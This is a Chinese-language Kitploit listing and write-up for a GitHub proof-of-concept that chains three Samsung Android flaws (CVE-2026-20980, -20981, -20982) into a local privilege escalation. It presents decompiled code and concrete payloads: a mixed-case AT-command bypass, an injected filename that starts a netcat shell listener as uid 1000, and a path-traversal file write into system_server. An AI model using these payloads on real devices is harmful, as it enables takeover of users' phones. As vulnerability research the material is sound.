Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
samsung-android-lpe — 针对 CVE-2026-20980、CVE-2026-20981、CVE-2026-20982 的 PoC | Kitploit
工具/GitHubGitHub/vikramaditya015/samsung-android-lpe
Android安全权限提升漏洞分析漏洞利用渗透测试移动安全命令与控制Payload 开发
GitHubvikramaditya015/samsung-android-lpe

samsung-android-lpe

针对 CVE-2026-20980、CVE-2026-20981、CVE-2026-20982 的 PoC

查看仓库
4182个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

第一部分:任意AT命令执行 (CVE-2026-20980)

在解锁设备中切换连接模式后,应用处理器(AP)命令由 at_distributor 管理。

root@kitploit:~
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1

at_distributor 通过函数 pacm_check_at_cmds 验证AT命令

root@kitploit:~
void main(int32_t arg1, void* arg2) __noreturn
{
    int32_t var_21b0 = arg1;
    data_42c170 = SignalHandler;
    sigemptyset(0x42c178);
    ...
    if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1)  {
        SendToTerminal(&var_2160,                            
        __strlen_chk(&var_2160, 0x80)                    
    } else {
        __android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
        ...
    }   
    ...
}

函数逻辑位于

root@kitploit:~
ldd at_distributor
libpacm_client.so => /system/lib64/libpacm_client.so

该函数调用 is_multiple_cmds 验证AT命令是否包含多个命令。

root@kitploit:~
uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
{
    uint64_t x24 = _ReadMSR(tpidr_el0);
    int64_t x8 = *(x24 + 0x28);
    int32_t var_284;
    ...
    if (!arg1)
    {
        __android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
        x20_1 = var_284;
        ...
    } else {
        Command::set_command(&var_280);
        char var_2d0;
        void* var_2c0;
        
        if (var_2d0 & 1)
            operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
        int32_t x8_6;
        
        if (!Command::is_multiple_cmds())
        {
            int32_t x0_13;
            int128_t v0_1;
            x0_13 = Command::preprocess_cmds(&var_280);
            ...
        }
        ...
    }    
}   

int64_t Command::is_multiple_cmds()
{
    ...
    size_t x0 = strlen("
at+");
    if (x0) {
        ...
        memcmp(x0_4, "
at+", x0);
        ...
    }
    size_t x0_1 = strlen("
AT+");
    if (x0_1) {
        ...
        memcmp(x0_7, "
AT+", x0_1);
        ...
    }
    size_t x0_2 = strlen("
at+");
    if (x0_2) {
        ...
        memcmp(x0_10, "
at+", x0_2);
        ...
    }
    size_t x0_3 = strlen("
AT+");
    if (x0_3) {
        ...
        memcmp(x0_13, "
AT+", x0_3);
        ...
    }
    ...
    return 1;
}

因此,包含此负载的AT命令将失败。

root@kitploit:~
TX: AT+\nAT+VERSNAME=3,2,1
RX: +CME Error:PACM(AP),MULTIPLE_CMD

但是 is_multiple_cmd 未能验证 "aT+" 或 "At+",因此受保护/未注册的命令得以执行。

root@kitploit:~
TX: AT+\naT+VERSNAME=1,3,0 (Note:AT+VERSNAME=1,3,0 is a protected command)
RX: +VERSNAME:1,SM8550,SM8550

第二部分:FacAtFunction中的任意系统命令执行 (CVE-2026-20981)

FacAtFunction (uid 1000) 是一个系统应用,处理大多数AP AT命令,特别是一个未注册的命令 AT+CAMEAUTO

该命令用于通过 shell 函数/exec 捕获屏幕。

root@kitploit:~
...
if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
                    screenCapture(strArr[4]);
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
                    str = responseOK(strArr[0]);
                    ...
}

public final void screenCapture(String str) {
        Process process;
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
        ...
        String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
        ?? r15 = {"/system/bin/sh", "-c", str3};
        Process process2 = null;
        try {
            try {
                FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
                process = Runtime.getRuntime().exec(r15);
            ...
        ...
}

文件名来自用户,但 screenCapture 函数未能对文件名进行清理。 并且由于我们可以从第一部分执行未注册命令,可以这样执行:

root@kitploit:~
TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
RX: OK

第三部分:ShortcutService任意文件写入 (CVE-2026-20982)

三星已为 Smart Switch 实现了自定义恢复方法以恢复位图文件

root@kitploit:~
public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
        enforceScloudBackupWritePermission();
        try {
            ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
            FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
            byte[] bArr = new byte[1024];
            while (true) {
                int read = autoCloseInputStream.read(bArr);
                if (read <= 0) {
                    break;
                }
                openIconFileForWriteSmartSwitch.write(bArr, 0, read);
            }
            if (openIconFileForWriteSmartSwitch != null) {
                openIconFileForWriteSmartSwitch.close();
            }
            autoCloseInputStream.close();
        } catch (Exception unused) {
        }
}
public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
        File file = new File(getUserBitmapFilePath(i), str);
        if (!file.isDirectory()) {
            file.mkdirs();
            if (!file.isDirectory()) {
                Slog.d("ShortcutService", "Unable to create directory " + file);
                throw new IOException("Unable to create directory " + file);
            }
            SELinux.restorecon(file);
        }
        File file2 = new File(file, str2);
        if (file2.exists()) {
            Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
            throw new IOException("Unable to create file - already exists " + file2);
        }
        return new FileOutputStream(file2);
}

public final void enforceScloudBackupWritePermission() {
        injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
}

restoreBitmapsFromBackupService 受权限 "com.samsung.android.scloud.backup.lib.write" 保护,我们将使用来自第二部分的 uid 1000,它拥有调用该函数所需的权限。

这里它未能对 str (目录) 和 str2 (文件名) 进行路径遍历清理。由于 ShortcutService 运行在 system_server 进程中,我们可以覆盖系统应用的 base.apk 或修改 packages.xml 以在 system_server 中获得代码执行。

概念验证 (PoC)

  • 所有三个CVE的完整链存在于 PoC/at.py
  • PoC/CVE-2026-20982/Exploit.java 中的 classes.dex 源代码
  • PoC 演示
下载工具